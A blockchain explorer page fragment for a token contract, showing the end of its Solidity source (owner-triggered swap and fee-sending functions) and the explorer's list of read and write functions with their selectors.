uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function manualSend() external onlyOwner{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
callWalletBalance 0x8a673d9e → bool
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 12 functions
These functions modify contract state and require a wallet transaction to execute.
ReduceFee 0x76b2fa71
uint256 _newFee
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
execute 0x3a61363a
address[] addr
address lpPair
uint256 val
manualSend 0xf4293890
No parameters
manualSwap 0x51bc3c85
No parameters
removeLimit 0x62256589
No parameters
removeTransferTax 0x109daa99
No parameters
renounceOwnership 0x715018a6
No parameters
swapApprove 0x1186b8d8
address[] address_
bool val
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address